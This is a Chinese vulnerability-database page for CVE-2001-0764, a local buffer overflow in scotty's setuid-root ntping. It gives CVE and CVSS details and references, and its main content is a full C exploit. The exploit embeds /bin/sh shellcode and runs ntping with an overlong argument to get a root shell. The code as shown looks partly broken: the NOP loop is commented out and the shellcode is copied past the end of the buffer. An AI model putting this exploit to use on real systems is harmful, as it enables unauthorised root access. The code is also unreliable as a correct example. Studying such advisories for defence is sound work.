scotty ntping缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106381 漏洞类型 缓冲区溢出
发布时间 2001-06-13 更新时间 2005-05-02
CVE编号 CVE-2001-0764 CNNVD-ID CNNVD-200110-097
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/20960
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200110-097
|漏洞详情
scotty2.1.0版本的ntping存在缓冲区溢出漏洞。本地用户可以借助作为命令行参数的超长主机名来执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/2911/info

ntping is a component of scotty, a Tcl interpreter used to retrieve status and configuration information for TCP/IP networks. The utility, which runs with root privileges, contains a locally exploitable buffer overflow vulnerability. A local attacker can supply a long string as a command line argument to ntping, which, if the argument is of sufficient length (approximately 9000 characters) will induce a segfault.

If the input is carefully constructed, a local attacker can exploit this vulnerability to execute arbitrary code on the target host. 

/*Larry W. Cashdollar                6/13/2001
  http://vapid.dhs.org               Vapid Labs
  Overflows ntping for scotty-2.1.9 based on post by
  dotslash@snosoft.com*/

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90		/*no operation skip to next instruction. */
#define LEN 590			/*our buffersize. */

/*lacks a call to setuid(0)*/
char shellcode[]= /*Aleph1's shell code. */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for shellcode and
pointers*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]),LEN);
/*
  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;*/

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));

  execl ("/usr/sbin/ntping", "ntping", buffer,0, 0);

}
|参考资料

来源:XF
名称:scotty-ntping-bo(6735)
链接:http://xforce.iss.net/static/6735.php
来源:BID
名称:2911
链接:http://www.securityfocus.com/bid/2911
来源:BUGTRAQ
名称:20010621suidscotty(ntping)overflow(fwd)
链接:http://www.securityfocus.com/archive/1/192664
来源:SUSE
名称:SuSE-SA:2001:023
链接:http://www.novell.com/linux/security/advisories/2001_023_scotty_txt.html
来源:VULN-DEV
名称:20010615Re:suidscotty(ntping)overflow(fwd)
链接:http://archives.neohapsis.com/archives/vuln-dev/2001-q2/0627.html
来源:VULN-DEV
名称:20010609suidscotty/ntpingoverflow
链接:http://archives.neohapsis.com/archives/vuln-dev/2001-q2/0579.html